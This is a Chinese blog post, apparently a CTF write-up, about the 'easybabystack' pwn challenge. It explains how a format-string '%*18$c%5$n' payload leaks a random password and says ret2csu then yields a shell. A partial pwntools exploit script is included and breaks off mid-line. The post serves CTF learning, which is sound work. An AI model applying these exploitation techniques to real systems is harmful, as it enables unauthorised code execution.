DASCTF&BJDCTF 3rd 三道PWN题复现

最近看了一下上次安恒五月赛没做出的几道PWN题,感觉自己水平还是不够,还要多学习

easybabystack(格式化字符串*, ret2csu)

这题有个栈溢出漏洞
在这里插入图片描述
但是必须输入正确的密码,否则就直接退出了
在这里插入图片描述
还有个格式化字符串漏洞
在这里插入图片描述
字符串长度为12
在这里插入图片描述
由于密码是/dev/urandom生成的,无法预测。
这里需要利用格式化字符串漏洞的’*'号

%*num$d从栈中取变量作为N
比如num$处的值是0x100,那么这个格式化字符串就相当于%256d

而密码位于18$的位置,我们使用%*18$c就可以打印出密码那么长的字符串,然后%5$n写到输入的密码处即可
不过这里如果密码太大可能会失败,需要多试几次,数字比较小的时候容易成功
完成后用ret2csu就能getshell

from pwn import *

#r = remote("183.129.189.60", 10001)
r = process("./easybabystack")
context(arch='amd64', os='linux', log_level='debug')
DEBUG = 1
if DEBUG:
	gdb.attach(r, 
	'''	
	b *0x4014A5
	b *0x401512
	b *0x4016C7
	b *0x401726
	b *0x40171D
	c
	''')
r.recvuntil("username: ")
#name = '%p:%p:%p:%p\n'
#name = '%6$p\n'
name = '%*18$c%5$n\n'
r.send(name)
r.recvuntil("passwd: ")
r
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值